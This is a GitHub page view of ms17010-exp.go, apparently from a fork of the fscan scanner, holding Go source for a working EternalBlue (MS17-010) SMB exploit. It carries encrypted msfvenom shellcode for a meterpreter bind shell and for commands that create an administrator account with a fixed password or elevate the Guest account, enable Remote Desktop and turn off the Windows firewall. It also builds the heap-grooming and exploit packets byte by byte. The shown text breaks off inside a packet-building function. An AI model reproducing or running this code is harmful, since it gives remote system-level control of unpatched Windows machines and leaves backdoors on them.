forked from shadow1ng/fscan
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathms17010-exp.go
1107 lines (1007 loc) · 35.5 KB
/
ms17010-exp.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
package Plugins
import (
"bytes"
"encoding/binary"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"io"
"io/ioutil"
"net"
"strings"
"time"
)
func MS17010EXP(info *common.HostInfo) {
address := info.Host + ":445"
var sc string
switch common.SC {
case "bind":
//msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=64531 -f hex
sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
sc = AesDecrypt(sc_enc, key)
case "cs":
//cs gen C shellcode -> fmt.Printf("%x", c) -> hex
sc = ""
case "add":
//msfvenom -p windows/x64/exec EXITFUNC=thread CMD='cmd.exe /c net user sysadmin "1qaz@WSX!@#4" /ADD && net localgroup Administrators sysadmin /ADD && REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f && netsh advfirewall set allprofiles state off' -f hex
sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8"
sc = AesDecrypt(sc_enc, key)
case "guest":
//msfvenom -p windows/x64/exec EXITFUNC=thread CMD='cmd.exe /c net user Guest /active:yes && net user Guest "1qaz@WSX!@#4" && net localgroup Administrators Guest /ADD && REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f && netsh advfirewall set allprofiles state off' -f hex
sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
sc = AesDecrypt(sc_enc, key)
default:
if strings.Contains(common.SC, "file:") {
read, err := ioutil.ReadFile(common.SC[5:])
if err != nil {
errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", common.SC, err)
common.LogError(errlog)
return
}
sc = fmt.Sprintf("%x", read)
} else {
sc = common.SC
}
}
if len(sc) < 20 {
fmt.Println("[-] no such sc")
return
}
sc1, err := hex.DecodeString(sc)
if err != nil {
common.LogError("[-] " + info.Host + " MS17-010 shellcode decode error " + err.Error())
return
}
err = eternalBlue(address, 12, 12, sc1)
if err != nil {
common.LogError("[-] " + info.Host + " MS17-010 exp failed " + err.Error())
return
}
common.LogSuccess("[*] " + info.Host + "\tMS17-010\texploit end")
}
func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error {
// check sc size
const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16
l := len(sc)
if l > maxscSize {
//fmt.Println(maxscSize)
return fmt.Errorf("sc size %d > %d big %d", l, maxscSize, l-maxscSize)
}
payload := makeKernelUserPayload(sc)
var (
grooms int
err error
)
for i := 0; i < maxAttempts; i++ {
grooms = initialGrooms + 5*i
err = exploit(address, grooms, payload)
if err == nil {
return nil
}
}
return err
}
func exploit(address string, grooms int, payload []byte) error {
// connect host
header, conn, err := smb1AnonymousConnectIPC(address)
if err != nil {
return err
}
defer func() { _ = conn.Close() }()
// send SMB1 large buffer
_ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
err = smb1LargeBuffer(conn, header)
if err != nil {
return err
}
// initialize groom threads
fhsConn, err := smb1FreeHole(address, true)
if err != nil {
return err
}
defer func() { _ = fhsConn.Close() }()
// groom socket
groomConns, err := smb2Grooms(address, grooms)
if err != nil {
return err
}
fhfConn, err := smb1FreeHole(address, false)
if err != nil {
return err
}
_ = fhsConn.Close()
// grooms
groomConns2, err := smb2Grooms(address, 6)
if err != nil {
return err
}
_ = fhfConn.Close()
groomConns = append(groomConns, groomConns2...)
defer func() {
for i := 0; i < len(groomConns); i++ {
_ = groomConns[i].Close()
}
}()
//fmt.Println("Running final exploit packet")
err = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
if err != nil {
return err
}
treeID := header.TreeID
userID := header.UserID
finalPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 15, "exploit")
_, err = conn.Write(finalPacket)
if err != nil {
return fmt.Errorf("failed to send final exploit packet: %s", err)
}
raw, _, err := smb1GetResponse(conn)
if err != nil {
return fmt.Errorf("failed to get response about exploit: %s", err)
}
ntStatus := make([]byte, 4)
ntStatus[0] = raw[8]
ntStatus[1] = raw[7]
ntStatus[2] = raw[6]
ntStatus[3] = raw[5]
//fmt.Printf("NT Status: 0x%08X\n", ntStatus)
//fmt.Println("send the payload with the grooms")
body := makeSMB2Body(payload)
for i := 0; i < len(groomConns); i++ {
_, err = groomConns[i].Write(body[:2920])
if err != nil {
return err
}
}
for i := 0; i < len(groomConns); i++ {
_, err = groomConns[i].Write(body[2920:4073])
if err != nil {
return err
}
}
return nil
}
func makeKernelUserPayload(sc []byte) []byte {
// test DoublePulsar
buf := bytes.Buffer{}
buf.Write(loader[:])
// write sc size
size := make([]byte, 2)
binary.LittleEndian.PutUint16(size, uint16(len(sc)))
buf.Write(size)
buf.Write(sc)
return buf.Bytes()
}
func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
if err != nil {
return nil, nil, fmt.Errorf("failed to connect host: %s", err)
}
var ok bool
defer func() {
if !ok {
_ = conn.Close()
}
}()
err = smbClientNegotiate(conn)
if err != nil {
return nil, nil, fmt.Errorf("failed to negotiate: %s", err)
}
raw, header, err := smb1AnonymousLogin(conn)
if err != nil {
return nil, nil, fmt.Errorf("failed to login with anonymous: %s", err)
}
_, err = getOSName(raw)
if err != nil {
return nil, nil, fmt.Errorf("failed to get OS name: %s", err)
}
//fmt.Println("OS:", osName)
header, err = treeConnectAndX(conn, address, header.UserID)
if err != nil {
return nil, nil, fmt.Errorf("failed to tree connect AndX: %s", err)
}
ok = true
return header, conn, nil
}
const smbHeaderSize = 32
type smbHeader struct {
ServerComponent [4]byte
SMBCommand uint8
ErrorClass uint8
Reserved byte
ErrorCode uint16
Flags uint8
Flags2 uint16
ProcessIDHigh uint16
Signature [8]byte
Reserved2 [2]byte
TreeID uint16
ProcessID uint16
UserID uint16
MultiplexID uint16
}
func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
// net BIOS
buf := make([]byte, 4)
_, err := io.ReadFull(conn, buf)
if err != nil {
const format = "failed to get SMB1 response about NetBIOS session service: %s"
return nil, nil, fmt.Errorf(format, err)
}
typ := buf[0]
if typ != 0x00 {
const format = "invalid message type 0x%02X in SMB1 response"
return nil, nil, fmt.Errorf(format, typ)
}
sizeBuf := make([]byte, 4)
copy(sizeBuf[1:], buf[1:])
size := int(binary.BigEndian.Uint32(sizeBuf))
// SMB
buf = make([]byte, size)
_, err = io.ReadFull(conn, buf)
if err != nil {
const format = "failed to get SMB1 response about header: %s"
return nil, nil, fmt.Errorf(format, err)
}
smbHeader := smbHeader{}
reader := bytes.NewReader(buf[:smbHeaderSize])
err = binary.Read(reader, binary.LittleEndian, &smbHeader)
if err != nil {
const format = "failed to parse SMB1 response header: %s"
return nil, nil, fmt.Errorf(format, err)
}
return buf, &smbHeader, nil
}
func smbClientNegotiate(conn net.Conn) error {
buf := bytes.Buffer{}
// --------NetBIOS Session Service--------
// message type
buf.WriteByte(0x00)
// length
buf.Write([]byte{0x00, 0x00, 0x54})
// --------Server Message Block Protocol--------
// server_component: .SMB
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
// smb_command: Negotiate Protocol
buf.WriteByte(0x72)
// NT status
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// flags
buf.WriteByte(0x18)
// flags2
buf.Write([]byte{0x01, 0x28})
// process_id_high
buf.Write([]byte{0x00, 0x00})
// signature
buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
// reserved
buf.Write([]byte{0x00, 0x00})
// tree id
buf.Write([]byte{0x00, 0x00})
// process id
buf.Write([]byte{0x2F, 0x4B})
// user id
buf.Write([]byte{0x00, 0x00})
// multiplex id
buf.Write([]byte{0xC5, 0x5E})
// --------Negotiate Protocol Request--------
// word_count
buf.WriteByte(0x00)
// byte_count
buf.Write([]byte{0x31, 0x00})
// dialect name: LAN MAN1.0
buf.WriteByte(0x02)
buf.Write([]byte{0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E,
0x30, 0x00})
// dialect name: LM1.2X002
buf.WriteByte(0x02)
buf.Write([]byte{0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
0x32, 0x00})
// dialect name: NT LAN MAN 1.0
buf.WriteByte(0x02)
buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41,
0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00})
// dialect name: NT LM 0.12
buf.WriteByte(0x02)
buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E,
0x31, 0x32, 0x00})
// send packet
_, err := buf.WriteTo(conn)
if err != nil {
return err
}
_, _, err = smb1GetResponse(conn)
return err
}
func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) {
buf := bytes.Buffer{}
// --------NetBIOS Session Service--------
// session message
buf.WriteByte(0x00)
// length
buf.Write([]byte{0x00, 0x00, 0x88})
// --------Server Message Block Protocol--------
// SMB1
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
// Session Setup AndX
buf.WriteByte(0x73)
// NT SUCCESS
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// flags
buf.WriteByte(0x18)
// flags2
buf.Write([]byte{0x07, 0xC0})
// PID high
buf.Write([]byte{0x00, 0x00})
// Signature1
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// Signature2
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// TreeID
buf.Write([]byte{0x00, 0x00})
// PID
buf.Write([]byte{0xFF, 0xFE})
// reserved
buf.Write([]byte{0x00, 0x00})
// user id
buf.Write([]byte{0x00, 0x00})
// multiplex id
buf.Write([]byte{0x40, 0x00})
// --------Session Setup AndX Request--------
// word count
buf.WriteByte(0x0D)
// no further commands
buf.WriteByte(0xFF)
// reserved
buf.WriteByte(0x00)
// AndX offset
buf.Write([]byte{0x88, 0x00})
// max buffer
buf.Write([]byte{0x04, 0x11})
// max mpx count
buf.Write([]byte{0x0A, 0x00})
// VC Number
buf.Write([]byte{0x00, 0x00})
// session key
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// ANSI password length
buf.Write([]byte{0x01, 0x00})
// unicode password length
buf.Write([]byte{0x00, 0x00})
// reserved
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// capabilities
buf.Write([]byte{0xD4, 0x00, 0x00, 0x00})
// bytes count
buf.Write([]byte{0x4b, 0x00})
// ANSI password
buf.WriteByte(0x00)
// account name
buf.Write([]byte{0x00, 0x00})
// domain name
buf.Write([]byte{0x00, 0x00})
// native OS: Windows 2000 2195
buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00,
0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32})
buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20,
0x00, 0x32, 0x00, 0x31, 0x00, 0x39, 0x00, 0x35, 0x00})
buf.Write([]byte{0x00, 0x00})
// native LAN manager: Windows 2000 5.0
buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00,
0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32})
buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20,
0x00, 0x35, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00})
// send packet
_, err := buf.WriteTo(conn)
if err != nil {
return nil, nil, err
}
return smb1GetResponse(conn)
}
// skip smb header, word count, AndXCommand, Reserved,
// AndXOffset, Action, Byte count and a magic 0x41 (A)
func getOSName(raw []byte) (string, error) {
osBuf := bytes.Buffer{}
reader := bytes.NewReader(raw[smbHeaderSize+10:])
char := make([]byte, 2)
for {
_, err := io.ReadFull(reader, char)
if err != nil {
return "", err
}
if bytes.Equal(char, []byte{0x00, 0x00}) {
break
}
osBuf.Write(char)
}
osBufLen := osBuf.Len()
osName := make([]byte, 0, osBufLen/2)
b := osBuf.Bytes()
for i := 0; i < osBufLen; i += 2 {
osName = append(osName, b[i])
}
return string(osName), nil
}
func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, error) {
buf := bytes.Buffer{}
// --------NetBIOS Session Service--------
// message type
buf.WriteByte(0x00)
// length, it will changed at the end of the function
buf.Write([]byte{0x00, 0x00, 0x00})
// --------Server Message Block Protocol--------
// server component
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
// smb command: Tree Connect AndX
buf.WriteByte(0x75)
// NT status
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// flags
buf.WriteByte(0x18)
// flags2
buf.Write([]byte{0x01, 0x20})
// process id high
buf.Write([]byte{0x00, 0x00})
// signature
buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
// reserved
buf.Write([]byte{0x00, 0x00})
// tree id
buf.Write([]byte{0x00, 0x00})
// process id
buf.Write([]byte{0x2F, 0x4B})
// user id
userIDBuf := make([]byte, 2)
binary.LittleEndian.PutUint16(userIDBuf, userID)
buf.Write(userIDBuf)
// multiplex id
buf.Write([]byte{0xC5, 0x5E})
// --------Tree Connect AndX Request--------
// word count
buf.WriteByte(0x04)
// AndXCommand: No further commands
buf.WriteByte(0xFF)
// reserved
buf.WriteByte(0x00)
// AndXOffset
buf.Write([]byte{0x00, 0x00})
// flags
buf.Write([]byte{0x00, 0x00})
// password length
buf.Write([]byte{0x01, 0x00})
// byte count
buf.Write([]byte{0x1A, 0x00})
// password
buf.WriteByte(0x00)
// IPC
host, _, err := net.SplitHostPort(address)
if err != nil {
return nil, err
}
_, _ = fmt.Fprintf(&buf, "\\\\%s\\IPC$", host)
// null byte after ipc added by kev
buf.WriteByte(0x00)
// service
buf.Write([]byte{0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x00})
// update packet size
b := buf.Bytes()
sizeBuf := make([]byte, 4)
binary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4))
copy(b[1:], sizeBuf[1:])
// send packet
_, err = buf.WriteTo(conn)
if err != nil {
return nil, err
}
_, header, err := smb1GetResponse(conn)
return header, err
}
func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID)
if err != nil {
return fmt.Errorf("failed to send nt trans: %s", err)
}
// initial trans2 request
treeID := transHeader.TreeID
userID := transHeader.UserID
trans2Packet := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero")
// send all but the last packet
for i := 1; i < 15; i++ {
packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer")
trans2Packet = append(trans2Packet, packet...)
}
smb1EchoPacket := makeSMB1EchoPacket(treeID, userID)
trans2Packet = append(trans2Packet, smb1EchoPacket...)
_, err = conn.Write(trans2Packet)
if err != nil {
return fmt.Errorf("failed to send large buffer: %s", err)
}
_, _, err = smb1GetResponse(conn)
return err
}
func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) {
buf := bytes.Buffer{}
// --------NetBIOS Session Service--------
// message type
buf.WriteByte(0x00)
// length
buf.Write([]byte{0x00, 0x04, 0x38})
// --------Server Message Block Protocol--------
// SMB1
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
// NT Trans
buf.WriteByte(0xA0)
// NT success
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// flags
buf.WriteByte(0x18)
// flags2
buf.Write([]byte{0x07, 0xC0})
// PID high
buf.Write([]byte{0x00, 0x00})
// signature1
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// signature2
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// reserved
buf.Write([]byte{0x00, 0x00})
// tree id
treeIDBuf := make([]byte, 2)
binary.LittleEndian.PutUint16(treeIDBuf, treeID)
buf.Write(treeIDBuf)
// PID
buf.Write([]byte{0xFF, 0xFE})
// user id
userIDBuf := make([]byte, 2)
binary.LittleEndian.PutUint16(userIDBuf, userID)
buf.Write(userIDBuf)
// multiplex id
buf.Write([]byte{0x40, 0x00})
// --------NT Trans Request--------
// word count
buf.WriteByte(0x14)
// max setup count
buf.WriteByte(0x01)
// reserved
buf.Write([]byte{0x00, 0x00})
// total param count
buf.Write([]byte{0x1E, 0x00, 0x00, 0x00})
// total data count
buf.Write([]byte{0xd0, 0x03, 0x01, 0x00})
// max param count
buf.Write([]byte{0x1E, 0x00, 0x00, 0x00})
// max data count
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// param count
buf.Write([]byte{0x1E, 0x00, 0x00, 0x00})
// param offset
buf.Write([]byte{0x4B, 0x00, 0x00, 0x00})
// data count
buf.Write([]byte{0xd0, 0x03, 0x00, 0x00})
// data offset
buf.Write([]byte{0x68, 0x00, 0x00, 0x00})
// setup count
buf.WriteByte(0x01)
// function <unknown>
buf.Write([]byte{0x00, 0x00})
// unknown NT transaction (0) setup
buf.Write([]byte{0x00, 0x00})
// byte count
buf.Write([]byte{0xEC, 0x03})
// NT parameters
buf.Write(makeZero(0x1F))
// undocumented
buf.WriteByte(0x01)
buf.Write(makeZero(0x03CD))
// send packet
_, err := buf.WriteTo(conn)
if err != nil {
return nil, err
}
_, header, err := smb1GetResponse(conn)
return header, err
}
func makeSMB1Trans2ExploitPacket(treeID, userID uint16, timeout int, typ string) []byte {
timeout = timeout*0x10 + 3
buf := bytes.Buffer{}
// --------NetBIOS Session Service--------
// message type
buf.WriteByte(0x00)
// length
buf.Write([]byte{0x00, 0x10, 0x35})
// --------Server Message Block Protocol--------
// SMB1
